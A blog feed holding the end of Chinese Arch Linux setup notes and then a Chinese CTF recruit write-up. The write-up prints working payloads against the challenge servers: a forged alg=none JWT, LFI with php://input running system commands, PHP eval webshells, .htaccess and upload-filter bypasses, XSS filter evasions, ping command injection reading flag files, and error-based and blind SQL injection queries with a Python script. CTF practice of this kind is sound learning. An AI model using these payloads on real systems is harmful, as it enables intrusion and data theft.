class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bluetoothctl --help          查看帮助命令</span><br><span class="line">bluetoothctl -v              查看蓝牙版本</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">bluetoothctl            进入蓝牙管理工具环境</span><br><span class="line">[bluetooth]# power on                打开蓝牙</span><br><span class="line">[bluetooth]# agent on                开启代理</span><br><span class="line">[bluetooth]# scan on                 扫描蓝牙设备</span><br><span class="line">[bluetooth]# pair xx:xx:xx:...       配对该设备</span><br><span class="line">[bluetooth]# trust xx:xx:xx:...      信任该设备</span><br><span class="line">[bluetooth]# connect xx:xx:...       连接该设备</span><br><span class="line">[bluetooth]# disconnect xx:xx:...    断开蓝牙</span><br></pre></td></tr></table></figure><p>安装蓝牙音频</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -S pulseaudio-bluetooth</span><br></pre></td></tr></table></figure><p>蓝牙图形化管理工具安装</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -S bluedevil</span><br></pre></td></tr></table></figure><p>或</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo pacman -S blueman</span><br></pre></td></tr></table></figure><h4 id="完结撒花🌸"><a href="#完结撒花🌸" class="headerlink" title="完结撒花🌸"></a>完结撒花🌸</h4><h2 id="Linux-系统结构"><a href="#Linux-系统结构" class="headerlink" title="Linux 系统结构"></a>Linux 系统结构</h2><p><img src="https://bu.dusays.com/2023/12/03/656b70c37eec5.png"></p><blockquote><ul><li><p><strong>&#x2F;bin</strong>：<br>bin 是 Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令。</p></li><li><p><strong>&#x2F;boot：</strong><br>这里存放的是启动 Linux 时使用的一些核心文件，包括一些连接文件以及镜像文件。</p></li><li><p><strong>&#x2F;dev ：</strong><br>dev 是 Device(设备) 的缩写, 该目录下存放的是 Linux 的外部设备，在 Linux 中访问设备的方式和访问文件的方式是相同的。</p></li><li><p><strong>&#x2F;etc：</strong><br>etc 是 Etcetera(等等) 的缩写,这个目录用来存放所有的系统管理所需要的配置文件和子目录。</p></li><li><p><strong>&#x2F;home</strong>：<br>用户的主目录，在 Linux 中，每个用户都有一个自己的目录，一般该目录名是以用户的账号命名的，如上图中的 alice、bob 和 eve。</p></li><li><p><strong>&#x2F;lib</strong>：<br>lib 是 Library(库) 的缩写这个目录里存放着系统最基本的动态连接共享库，其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。</p></li><li><p><strong>&#x2F;lost+found</strong>：<br>这个目录一般情况下是空的，当系统非法关机后，这里就存放了一些文件。</p></li><li><p><strong>&#x2F;media</strong>：<br>linux 系统会自动识别一些设备，例如U盘、光驱等等，当识别后，Linux 会把识别的设备挂载到这个目录下。</p></li><li><p><strong>&#x2F;mnt</strong>：<br>系统提供该目录是为了让用户临时挂载别的文件系统的，我们可以将光驱挂载在 &#x2F;mnt&#x2F; 上，然后进入该目录就可以查看光驱里的内容了。</p></li><li><p><strong>&#x2F;opt</strong>：<br>opt 是 optional(可选) 的缩写，这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。</p></li><li><p><strong>&#x2F;proc</strong>：<br>proc 是 Processes(进程) 的缩写，&#x2F;proc 是一种伪文件系统（也即虚拟文件系统），存储的是当前内核运行状态的一系列特殊文件，这个目录是一个虚拟的目录，它是系统内存的映射，我们可以通过直接访问这个目录来获取系统信息。<br>这个目录的内容不在硬盘上而是在内存里，我们也可以直接修改里面的某些文件，比如可以通过下面的命令来屏蔽主机的ping命令，使别人无法ping你的机器：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">echo 1 &gt; /proc/sys/net/ipv4/icmp_echo_ignore_all</span><br></pre></td></tr></table></figure></li><li><p><strong>&#x2F;root</strong>：<br>该目录为系统管理员，也称作超级权限者的用户主目录。</p></li><li><p><strong>&#x2F;sbin</strong>：<br>s 就是 Super User 的意思，是 Superuser Binaries (超级用户的二进制文件) 的缩写，这里存放的是系统管理员使用的系统管理程序。</p></li><li><p><strong>&#x2F;selinux</strong>：<br> 这个目录是 Redhat&#x2F;CentOS 所特有的目录，Selinux 是一个安全机制，类似于 windows 的防火墙，但是这套机制比较复杂，这个目录就是存放selinux相关的文件的。</p></li><li><p><strong>&#x2F;srv</strong>：<br> 该目录存放一些服务启动之后需要提取的数据。</p></li><li><p><strong>&#x2F;sys</strong>：</p><p>这是 Linux2.6 内核的一个很大的变化。该目录下安装了 2.6 内核中新出现的一个文件系统 sysfs 。</p><p>sysfs 文件系统集成了下面3种文件系统的信息：针对进程信息的 proc 文件系统、针对设备的 devfs 文件系统以及针对伪终端的 devpts 文件系统。</p><p>该文件系统是内核设备树的一个直观反映。</p><p>当一个内核对象被创建的时候，对应的文件和目录也在内核对象子系统中被创建。</p></li><li><p><strong>&#x2F;tmp</strong>：<br>tmp 是 temporary(临时) 的缩写这个目录是用来存放一些临时文件的。</p></li><li><p><strong>&#x2F;usr</strong>：<br> usr 是 unix shared resources(共享资源) 的缩写，这是一个非常重要的目录，用户的很多应用程序和文件都放在这个目录下，类似于 windows 下的 program files 目录。</p></li><li><p><strong>&#x2F;usr&#x2F;bin：</strong><br>系统用户使用的应用程序。</p></li><li><p><strong>&#x2F;usr&#x2F;sbin：</strong><br>超级用户使用的比较高级的管理程序和系统守护程序。</p></li><li><p><strong>&#x2F;usr&#x2F;src：</strong><br>内核源代码默认的放置目录。</p></li><li><p><strong>&#x2F;var</strong>：<br>var 是 variable(变量) 的缩写，这个目录中存放着在不断扩充着的东西，我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。</p></li><li><p><strong>&#x2F;run</strong>：<br>是一个临时文件系统，存储系统启动以来的信息。当系统重启时，这个目录下的文件应该被删掉或清除。如果你的系统上有 &#x2F;var&#x2F;run 目录，应该让它指向 run。</p></li></ul><p>在 Linux 系统中，有几个目录是比较重要的，平时需要注意不要误删除或者随意更改内部文件。</p><p><strong>&#x2F;etc</strong>： 上边也提到了，这个是系统中的配置文件，如果你更改了该目录下的某个文件可能会导致系统不能启动。</p><p><strong>&#x2F;bin, &#x2F;sbin, &#x2F;usr&#x2F;bin, &#x2F;usr&#x2F;sbin</strong>: 这是系统预设的执行文件的放置目录，比如 <strong>ls</strong> 就是在 <strong>&#x2F;bin&#x2F;ls</strong> 目录下的。</p><p>值得提出的是 <strong>&#x2F;bin</strong>、**&#x2F;usr&#x2F;bin** 是给系统用户使用的指令（除 root 外的通用用户），而&#x2F;sbin, &#x2F;usr&#x2F;sbin 则是给 root 使用的指令。</p><p><strong>&#x2F;var</strong>： 这是一个非常重要的目录，系统上跑了很多程序，那么每个程序都会有相应的日志产生，而这些日志就被记录到这个目录下，具体在 &#x2F;var&#x2F;log 目录下，另外 mail 的预设放置也是在这里。</p></blockquote><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><blockquote><p>本文参考：</p><p><a href="https://blog.csdn.net/luotuo28/article/details/125000308">ip link 命令总结-CSDN博客</a></p><p><a href="https://www.linuxcool.com/">Linux命令大全(手册) – 真正好用的Linux命令在线查询网站 (linuxcool.com)</a></p><p><a href="https://zhuanlan.zhihu.com/p/544554354">linux中ctl代表什么缩写？很多命令都带结尾ctl，另外ifconfig和nmcli有什么区别？ - 知乎 (zhihu.com)</a></p><p><a href="https://zhuanlan.zhihu.com/p/596227524">Arch Linux 详细安装教程，萌新再也不怕了！「2023.10」 - 知乎 (zhihu.com)</a></p><p><a href="https://www.bilibili.com/video/BV1XY4y1f77S/?spm_id_from=333.337.search-card.all.click">【超简单】Windows+Arch Linux双系统双磁盘方案，全程不废话_哔哩哔哩_bilibili</a></p><p><a href="https://blog.csdn.net/tonglin12138/article/details/87706009">Linux—带你区分”根目录” 和 “家目录”_根目录、家目录的路径分别是什么?可以用什么符号表示,用来快速访问?-CSDN博客</a></p><p><a href="https://blog.csdn.net/qq_61683908/article/details/129430286">https://blog.csdn.net/qq_61683908/article/details/129430286</a></p><p><a href="https://blog.csdn.net/weixin_35443436/article/details/116649342">linux下的mnt文件夹用来干嘛,Linux&#x2F;mnt目录主要用于什么？_Killer Seven的博客-CSDN博客</a></p><p><a href="https://wiki.archlinux.org/">ArchWiki (archlinux.org)</a></p><p><a href="https://zhuanlan.zhihu.com/p/492509251">Linux 黑话解释：Linux 中的 GRUB 是什么？ | Linux 中国 - 知乎 (zhihu.com)</a></p><p><a href="https://cloud.tencent.com/developer/techpedia/2001">什么是GNOME_GNOME简介_GNOME的优势以及应用场景-腾讯云开发者社区 (tencent.com)</a></p><p><a href="https://www.cnblogs.com/x_wukong/p/4771316.html">etc&#x2F;profile和&#x2F;etc&#x2F;environment的比较 - 明明是悟空 - 博客园 (cnblogs.com)</a></p><p><a href="https://blog.csdn.net/qq_36390239/article/details/123118489">ArchLinux安装使用蓝牙之基础_archlinux 蓝牙_kler的博客-CSDN博客</a></p><p><a href="https://www.runoob.com/linux/linux-system-contents.html">Linux 系统目录结构 | 菜鸟教程 (runoob.com)</a></p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;安装Arch-Linux的记录&quot;&gt;&lt;a href=&quot;#安装Arch-Linux的记录&quot; class=&quot;headerlink&quot; title=&quot;安装Arch Linux的记录&quot;&gt;&lt;/a&gt;安装Arch Linux的记录&lt;/h1&gt;&lt;p&gt;第一次安装双系统，虽然是参考b站教程</summary>
      
    
    
    
    <category term="Learning record" scheme="https://foreon.github.io/categories/Learning-record/"/>
    
    
    <category term="linux" scheme="https://foreon.github.io/tags/linux/"/>
    
  </entry>
  
  <entry>
    <title>YuLin 2023 Recruit Writeup</title>
    <link href="https://foreon.github.io/posts/36124.html"/>
    <id>https://foreon.github.io/posts/36124.html</id>
    <published>2023-11-03T15:56:39.000Z</published>
    <updated>2023-12-02T18:15:14.358Z</updated>
    
    <content type="html"><![CDATA[<h1 id="YuLin-2023-Recruit-Writeup"><a href="#YuLin-2023-Recruit-Writeup" class="headerlink" title="YuLin 2023 Recruit Writeup"></a>YuLin 2023 Recruit Writeup</h1><h1 id="前言（叠个甲先"><a href="#前言（叠个甲先" class="headerlink" title="前言（叠个甲先"></a>前言（叠个甲先</h1><h3 id="part1是用word写的，直接黏贴过来量太多就不修改了😭，part2-是用md，可能看起来舒服一点。如果读者看得比较难受，这非常正常，请原谅我的懒惰🙇"><a href="#part1是用word写的，直接黏贴过来量太多就不修改了😭，part2-是用md，可能看起来舒服一点。如果读者看得比较难受，这非常正常，请原谅我的懒惰🙇" class="headerlink" title="part1是用word写的，直接黏贴过来量太多就不修改了😭，part2  是用md，可能看起来舒服一点。如果读者看得比较难受，这非常正常，请原谅我的懒惰🙇"></a>part1是用word写的，直接黏贴过来量太多就不修改了😭，part2  是用md，可能看起来舒服一点。如果读者看得比较难受，这非常正常，请原谅我的懒惰🙇</h3><h1 id="part1"><a href="#part1" class="headerlink" title="part1:"></a>part1:</h1><h1 id="Tutorial"><a href="#Tutorial" class="headerlink" title="Tutorial"></a>Tutorial</h1><h1 id="1-http"><a href="#1-http" class="headerlink" title="1.http"></a>1.http</h1><p>这里要注意，admin是改cookie里的admin&#x3D;1!</p><p>2.302跳转</p><p>查看源代码找到&#x2F;302.php</p><p>Curl -i 找到flag</p><p>3.encode</p><p>关于decode可以看看这个链接</p><p><a href="https://www.cnblogs.com/ruoli-s/p/14206145.html">https://www.cnblogs.com/ruoli-s/p/14206145.html</a></p><p>判断第一个是md5</p><p>解密得到Yulin</p><p>判断第二个是hex编码</p><p>解码得到Sec{we_mu5t_kn0w</p><p>第三个是base64</p><p>解码得到_c0mm0n</p><p>判断第四个是html实体编码</p><p>解码得到_enc0d1ngs}</p><p>组合一下得到flag</p><p>YulinSec{we_mu5t_kn0w_c0mm0n _enc0d1ngs}</p><p>4.Method</p><p>被提示有很多http<br>method</p><p>拿postman一个个试就试出来了</p><p>5.cal-1</p><p>源代码进去改下长度就完事</p><p>6.cal-2</p><p>发现要用post的方法传数据，就完事了</p><p>7.cal-3</p><p>用python脚本做</p><p>我还学了好一会，感觉python脚本是个大问题</p><p>import requests<br>s&#x3D;requests.Session()<br>url&#x3D;’<a href="http://43.142.109.233:44504/index.php">http://43.142.109.233:44504/index.php</a>‘<br>r&#x3D;s.get(url)  </p><p>res&#x3D;r.text  </p><p>a&#x3D;res.find(“<p>“)<br>b&#x3D;res.find(“&#x2F;p&gt;”,a)<br>#找到我们要计算的式子的前后位置<br>num&#x3D;res[a+3:b-1]<br>print(a)<br>print(b)<br>print(num)<br>r&#x3D;s.post(url,data&#x3D;{‘result’:eval(num)})<br>print(r.content)</p><p>8.https</p><p>前言:</p><p>经大佬提醒,了解了不少jwt知识</p><p>了解到两种主要思路</p><p>1.弱口令把key爆出来</p><p>2.使用none的方式</p><p>由于安装不清楚第一次所需的工具😅，所以采用第二种方法</p><p>原理如下所示</p><p>本题抓包发现token,于是采用jwt绕过</p><p>1.将头部信息的alg值改为none，并进行base64加密</p><p>2.将声明部分的admin值改为true，也进行base64加密</p><p>3.新组合的JWT应该为<code>头部``.``声明``.</code>(因为头部中的加密方式为none，所以签名部分可以舍去)，但又由于&#x3D;号会与url解码产生歧义，所以需要将&#x3D;号删除，而Base64URL是支持这种写法的</p><p>最终的JWT值为ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0.ewogICJhZG1pbiI6ICIxIiwKICAiaWF0IjogMTY5NDk0OTM0NSwKICAiZXhwIjogMTY5NDk1NjU0NSwKICAianRpIjogIjM0YTczNGEzODAzZGY1NmZlYmIzOTg3MzJlOWQwZDE5Igp9.</p><p>4.把token放到cookie里得到flag</p><p>LFI</p><ol><li></li></ol><p>依照提示传参即可</p><ol start="2"><li></li></ol><p>不知道为啥hackbar的post这类题用不了？</p><p>那就用postman来post</p><p>使用file&#x3D;php:&#x2F;&#x2F;input + post <?phpsystem("ls");?></p><p>再file&#x3D;php:&#x2F;&#x2F;input + post <?php system("catflag_195780473.txt");?></p><p>得到flag</p><ol start="3"><li></li></ol><h5 id="使用data-text-plain-base64-xxxx-base64编码后的数据"><a href="#使用data-text-plain-base64-xxxx-base64编码后的数据" class="headerlink" title="使用data:&#x2F;&#x2F;text&#x2F;plain;base64,xxxx(base64编码后的数据)"></a>使用data:&#x2F;&#x2F;text&#x2F;plain;base64,xxxx(base64编码后的数据)</h5><p>data:&#x2F;&#x2F;text&#x2F;plain,<?phpsystem("ls")?></p><p>data:&#x2F;&#x2F;text&#x2F;plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4&#x3D;</p><p>data:&#x2F;&#x2F;text&#x2F;plain,<?phpsystem("cat flag_8491675293")?></p><p>data:&#x2F;&#x2F;text&#x2F;plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4&#x3D;</p><p>得到flag</p><ol start="4"><li></li></ol><p>看到提示，直接想到用base64编码转出</p><p>file&#x3D;php:&#x2F;&#x2F;filter&#x2F;read&#x3D;convert.base64-encode&#x2F;resource&#x3D;flag.php</p><p>得到一串base64编码，转码之后即得到flag</p><ol start="5"><li></li></ol><p>看教程绕过file_get_contents($file) 了但是还对原理一知半解</p><p>采用第一种方式就拿到flag了</p><ol start="6"><li></li></ol><p>文档里说的很清楚了，话说我自己试的一句话木马<?php@eval($_POST["value"]);?>就不太好使，还得是图片里的这个好使，然后就生成一句话木马图片呗，然后蚁剑</p><p><code>&lt;?php</code><br><code>fputs(fopen(“shell.php”,&#39;w&#39;),&#39;&lt;?php @eval($_POST[”leon“])；?&gt;</code></p><p><code>&#39;</code><br><code>); ?&gt;</code></p><p>要注意的是蚁剑访问的目录是生成的shell.php</p><p>即为<a href="http://43.142.109.233:21005/shell.php">http://43.142.109.233:21005/shell.php</a></p><ol start="7"><li></li></ol><p>这题花了我大概一天的时间钻研，最终做出来了</p><p>参考：<a href="https://blog.csdn.net/qq_45521281/article/details/106665608">LFI 绕过 Session 包含限制 Getshell_通过sessid进行文件写即可,使用 file:&#x2F;&#x2F;localhost&#x2F; 进行绕过_zhang三的博客-CSDN博客</a></p><p>先了解session知识吧</p><p>Phpinfo先找到session的储存路径</p><p>Session自定义一个</p><p>然后传一个一句话木马</p><p>发现可以控制了</p><p>于是果断蚁剑解出</p><p>补一个大佬的做法：</p><p>思路更清晰一些</p><p>XSS</p><p>看看这这篇攻略<a href="https://blog.csdn.net/qq_42357070/article/details/83818283">XSS挑战赛解题思路_多崎巡礼的博客-CSDN博客</a></p><ol><li></li></ol><p>看源代码发现有个hidden的 name</p><p>普普通通构造个playload就完事了</p><p><code>name=&lt;script&gt;alert(1)&lt;/script&gt;</code></p><ol start="2"><li></li></ol><p>这里我本来想用闭合标签来完成</p><p>但是发现&lt;被转义了，只能利用  <code>&#39;onmouseover=alert(1)//</code>，不过这里需要用单引号闭合，构造playload</p><ol start="3"><li></li></ol><p>和上题一样，只不过把单引号换成双引号来闭合罢了</p><ol start="4"><li></li></ol><p>第四题发现会把on转成o_n</p><p>而且会给<script><br> </script>中间的东西加双引号</p><p>于是上网查攻略,知道要用伪协议</p><p><code>&quot;&gt;&lt;iframe src=javascript:alert(1)&gt;</code></p><p><code>&quot;&gt;&lt;a href=javascript:alert(1)&gt;</code></p><p><code>&quot;&gt;</code><br><code>&lt;a href=&quot;javascript:alert(1)&quot;&gt;zhouzhong&lt;/a&gt;</code></p><p><code>&quot;&gt;&lt;a href=&quot;javascript:%61lert(1)&quot;&gt;zhouzhong&lt;/a&gt; //</code></p><p><code>就做出来了</code></p><p><code>5.</code></p><h2 id="试了试”"><a href="#试了试”" class="headerlink" title="试了试”&gt;"></a>试了试”&gt;</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;<span class="regexp">/script&gt; /</span>/</span><br></pre></td></tr></table></figure><p>可能是屏蔽了script,于是思路是双写绕过</p><h2 id="alert-0"><a href="#alert-0" class="headerlink" title="&quot;&gt;&lt;scriscriptpt&gt;alert(0)&lt;/scriscriptpt&gt;//"></a><code>&quot;&gt;&lt;scriscriptpt&gt;alert(0)&lt;/scriscriptpt&gt;//</code></h2><p>这些双写也可以</p><p>就拿到flag了</p><ol start="6"><li></li></ol><p>用伪协议发现过滤了javascript，于是查攻略吧</p><p><code>javascrip&amp;#x74;:alert(1)</code></p><p><code>javasc&amp;#x72;ipt:alert1</code></p><p><code>javasc&amp;#x0072;ipt:alert1</code></p><ol start="7"><li></li></ol><p>第一次见这种，猜测t_sort那里是隐藏的搜索框</p><p>于是看攻略吧</p><p>这里只要构造如下playload就行</p><p><code>t_sort=”type=’’text”</code><br><code>onclick = ”alert(1)</code></p><p>复现了一下发现这个双引号”不能用</p><p>得用下面的双引号</p><p>“</p><p>未解之谜，先放这吧</p><p><code>t_sort=&quot;type=&quot;text&quot;</code><br><code>onclick = &quot;alert(1)</code></p><p>XSS看攻略愉快的ak了</p><p>话说真的不是按这个攻略出题的吗(</p><p>RCE</p><ol><li></li></ol><p>在当前目录下没找，于是 ls &#x2F;</p><p>ping<br>127.0.0.1;ls &#x2F; #</p><p>找到flag</p><p>ping<br>127.0.0.1;cat &#x2F;flag_3124131231 #</p><ol start="2"><li></li></ol><p>ping<br>127.0.0.1;ls #</p><p>有waf</p><p>试了一下过滤了;|&amp;’&#96;等等</p><p>于是用<code>%0a``绕过</code></p><p><code>ip=127.0.0.1%0als /</code></p><p>再ip&#x3D;127.0.0.1%0acat<br>&#x2F;flag_31241421414</p><p>得到flag</p><ol start="3"><li></li></ol><p>试了一下过滤了ls</p><p>文件上传</p><ol><li></li></ol><p>采用了一种新的方式</p><p>传一句话木马文件蚁剑后门报错捏</p><p>于是火狐禁止js，传一个.php文件上去</p><p>路径是复制的图像链接</p><p>然后蚁剑后门</p><ol start="2"><li></li></ol><p>考察.htaccess文件</p><p>用记事本写这样一个名为.htaccess的文件</p><p>注意保存为所有类型</p><p>&lt;FilesMatch<br>“.png”&gt;</p><p>  SetHandler application&#x2F;x-httpd-php</p></FilesMatch><p>该文件的意思是，只要遇到文件名中包含有”.png”字符</p><p>串的，统一按照 php 文件来执行。然后就可以上传一个带一句话木马的文件，例如a_php.gif，会</p><p>被当成php执行。该方法其实不是漏洞，是Apache的特性。该方法常用于黑客入侵网站之后，不想</p><p>被发现，留一个隐蔽的后门。</p><p>然后先上传.htaccess文件,再上次木马.png</p><p>然后蚁剑就完事了</p><ol start="3"><li></li></ol><p>上传php文件抓包，修改文件类型为image&#x2F;png</p><p>然后就可以上传了，于是愉快的蚁剑</p><ol start="4"><li></li></ol><p>考察文件头绕过</p><p>用winhex</p><p>但是这样修改后用蚁剑连接</p><p><a href="http://43.142.109.233:30004/upload/muma.png">http://43.142.109.233:30004/upload/muma.png</a></p><p>还是报错，于是再次采用上传php用burp改png的方法</p><p>其实也可以换一种生成shell.php的png图片木马</p><p>下次再试</p><p>然后蚁剑吧</p><ol start="5"><li></li></ol><p>很明显要绕过黑名单这些</p><p>但是明显黑名单太少了，这里先用大写绕过罢</p><p>然而大写绕过并不可行？</p><p>再次尝试双写绕过，成了，于是蚁剑</p><ol start="6"><li></li></ol><p>再次尝试双写</p><p>发现不行，添加了一个空格</p><p>这次大写绕过又行了？</p><p>那就蚁剑吧</p><ol start="7"><li></li></ol><p>提示%00截断</p><p>原理如下</p><p>照猫画虎就出来了</p><ol start="8"><li></li></ol><p>考察16进制00截断</p><p>Burp上传图片木马抓包</p><p>在路径后面加一个1.php+,再在hex里找到+对应的编码，并改成00,就跟上题一样了</p><ol start="9"><li></li></ol><p>提示白名单，但是试一下又觉得是黑名单？</p><p>双写大写绕过都没用，那试试别的吧</p><p>莫名奇妙做出来了？</p><p>改成这样</p><p>注意蚁剑连接phtml还是小心(为什么</p><p>这题要再做一遍</p><p>为什么这里多了个空格，怎么复现？</p><p>再做了一次为什么又没空格了，而且这里路径为什么不需要大写？</p><p>11.二次渲染</p><p>合成一个gif木马文件，注意文件头要对</p><p>还是不行？那还是找一张真正的gif合成吧</p><p>现在行了</p><p>下载gif，比对没有改变的地方</p><p>然后在不改变的地方插入一句话木马</p><p>蚁剑连图片链接老报错</p><p>去学了一下</p><p>其实用一个文件包含漏洞就能用蚁剑连接</p><p>要利用include.php?file&#x3D;upload&#x2F;</p><p>然后就可以用蚁剑连接了</p><p>网页也是可以访问的</p><ol start="12"><li></li></ol><p>提示是利用move_uploaded_file($temp_file,<br>$img_path)的漏洞，这个函数它有一个特性，会忽略到文件末尾的&#x2F;.</p><p>这样上传，然后burp抓包</p><p>把名字改成muma.php&#x2F;.</p><p>蚁剑连接 &#x2F;upload&#x2F;muma.php发现可以访问了</p><ol start="13"><li></li></ol><p>顺藤摸瓜找到了原帖（搜索能力也是能力！</p><p>直接看原帖吧，哥们代码审计还看不明白</p><p>Sql注入</p><p>1.普通注入</p><p>普普通通的整形闭合</p><p>如图所示做完</p><ol start="2"><li></li></ol><p>提示是报错注入</p><p>试了一下是整形闭合捏</p><p>以下黏贴之后的代码有问题</p><p>爆数据库</p><p><a href="http://43.142.109.233:20002/?id=-1">http://43.142.109.233:20002/?id=-1</a>  and updatexml(1,concat(‘~’,</p><p>    substr(</p><p>       (select group_concat(schema_name)</p><p>       from information_schema.schemata)</p><p>    , 1 , 31)</p><p>),3)<br>– a</p><p>爆表名</p><p><a href="http://43.142.109.233:20002/?id=-1">http://43.142.109.233:20002/?id=-1</a>  and updatexml(1,concat(‘~’,</p><p>    substr(</p><p>       (select group_concat(table_name)</p><p>       from information_schema.tables where<br>table_schema&#x3D;database())</p><p>    , 8 , 31)</p><p>),3)<br>– a</p><p>注意这里要取后面的字符才完整</p><p>爆列名</p><p><a href="http://43.142.109.233:20002/?id=-1">http://43.142.109.233:20002/?id=-1</a>  and updatexml(1,concat(‘~’,</p><p>    substr(</p><p>       (select group_concat(column_name)</p><p>       from information_schema.columns where<br>table_name&#x3D;’flag’)</p><p>    , 1 , 31)</p><p>),3)<br>– a</p><p>爆flag</p><p><a href="http://43.142.109.233:20002/?id=-1">http://43.142.109.233:20002/?id=-1</a>  and updatexml(1,concat(‘~’,</p><p>    substr(</p><p>       (select group_concat(flag)</p><p>       from flag)</p><p>    , 10 , 31)</p><p>),3)<br>– a</p><p>注意flag太长显示不完全，分段来看吧</p><ol start="3"><li></li></ol><p>布尔盲注</p><p>一些基础知识</p><p>操作</p><p>开搞</p><p>试了一下发现是整形形闭合</p><p><a href="http://43.142.109.233:20003/?id=1">http://43.142.109.233:20003/?id=1</a><br>and length(database())&#x3D;8</p><p>尝试到8发现回显ok,说明数据库名为8</p><p>一个个把数据名试出来</p><p>推荐二分查找法</p><p><a href="http://43.142.109.233:20003/?id=1">http://43.142.109.233:20003/?id=1</a><br>and ASCII(SUBSTR(database(),2,1)) &#x3D; 101</p><p>ok查出来是security</p><p>发现搞不定啊,这工程量。。。还得上脚本</p><p>import requests</p><h1 id="只需要修改url-和-两个payload即可"><a href="#只需要修改url-和-两个payload即可" class="headerlink" title="只需要修改url 和 两个payload即可"></a>只需要修改url 和 两个payload即可</h1><h1 id="目标网址（不带参数）"><a href="#目标网址（不带参数）" class="headerlink" title="目标网址（不带参数）"></a>目标网址（不带参数）</h1><p>url &#x3D; “<a href="http://43.142.109.233:20003/">http://43.142.109.233:20003/</a>“</p><h1 id="猜解长度使用的payload"><a href="#猜解长度使用的payload" class="headerlink" title="猜解长度使用的payload"></a>猜解长度使用的payload</h1><p>payload_len &#x3D; “””?id&#x3D;1 and length(<br>                    (database())<br>                ) &lt; {n} “””</p><h1 id="枚举字符使用的payload"><a href="#枚举字符使用的payload" class="headerlink" title="枚举字符使用的payload"></a>枚举字符使用的payload</h1><p>payload_str &#x3D; “””?id&#x3D;1 and ascii(<br>                    substr(<br>                       (database())<br>                    ,{n},1)<br>                ) &#x3D; {r} “””</p><h1 id="获取长度"><a href="#获取长度" class="headerlink" title="获取长度"></a>获取长度</h1><p>def getLength(url, payload):<br>    length &#x3D; 1  # 初始测试长度为1<br>    while True:<br>        response &#x3D; requests.get(url&#x3D; url+payload_len.format(n&#x3D; length))</p><p>        # 页面中出现此内容则表示成功</p><p>        if ‘OK’ in response.text:<br>            print(‘测试长度完成，长度为：’, length,)<br>            return length;<br>        else:<br>            print(‘正在测试长度：’,length)<br>            length +&#x3D; 1  # 测试长度递增</p><h1 id="获取字符"><a href="#获取字符" class="headerlink" title="获取字符"></a>获取字符</h1><p>def getStr(url, payload, length):<br>    str &#x3D; ‘’  # 初始表名&#x2F;库名为空</p><p>    # 第一层循环，截取每一个字符</p><p>    for l in range(1, length+1):</p><p>        # 第二层循环，枚举截取字符的每一种可能性</p><p>        for n in range(33, 126):<br>            response &#x3D; requests.get(url&#x3D; url+payload_str.format(n&#x3D; l, r&#x3D; n))</p><p>            # 页面中出现此内容则表示成功</p><p>            if ‘OK’ in response.text:<br>                str+&#x3D; chr(n)<br>                print(‘第’, l, ‘个字符猜解成功：’, str)<br>                break;<br>    return str;</p><h1 id="开始猜解"><a href="#开始猜解" class="headerlink" title="开始猜解"></a>开始猜解</h1><p>length &#x3D; getLength(url, payload_len)<br>getStr(url, payload_str, length)</p><p>每次要改的地方只有标红的区域</p><ol><li></li></ol><p>database()</p><p>爆出来表名为security</p><ol start="2"><li></li></ol><p>这里先手动对当前数据库爆表的数量，很方便</p><p><a href="http://43.142.109.233:20003/?id=1">http://43.142.109.233:20003/?id=1</a><br>and (select COUNT(*) from information_schema.tables where<br>table_schema&#x3D;database())&#x3D;5</p><p>爆出来是5</p><ol start="3"><li></li></ol><p>select<br>table_name from information_schema.tables where table_schema &#x3D; database() limit<br>0,1</p><p>select<br>table_name from information_schema.tables where table_schema &#x3D; database() limit<br>0,1</p><p>第一个表</p><p>referers</p><p>select<br>table_name from information_schema.tables where table_schema &#x3D; database() limit 1,1</p><p>select<br>table_name from information_schema.tables where table_schema &#x3D; database() limit 1,1</p><p>只改limit后面的数就完事</p><p>第二个表</p><p>emails</p><p>以此推类</p><p>第三个表users</p><p>第四个表flag</p><p>第五个表 就不查了</p><p>4.手动爆一些users的列数量</p><p><a href="http://43.142.109.233:20003/?id=1">http://43.142.109.233:20003/?id=1</a><br>and (select COUNT(*) from information_schema.columns where<br>table_schema&#x3D;database() and table_name&#x3D;”users”)&#x3D;3</p><p>爆出来是3</p><p>注意这里要用双引号，我也不知道为啥。。</p><ol start="5"><li></li></ol><p>select<br>column_name from information_schema.columns where table_schema &#x3D; database() and<br>table_name &#x3D;”users” limit 0,1</p><p>select<br>column_name from information_schema.columns where table_schema &#x3D; database() and<br>table_name&#x3D;”users” limit 0,1</p><p>select<br>column_name from information_schema.columns where table_schema &#x3D; database() and<br>table_name&#x3D;”users” limit 0,1</p><p>测出uers第一列:id</p><p>测出uers第三列:</p><p>测出uers第三列:password</p><p>不测了，才发现前面搞错了 flag已经整出来了</p><p>那就重复这些步骤找flag的列</p><p>测出flag第二列flag</p><ol start="6"><li></li></ol><p>select<br>flag from flag limit 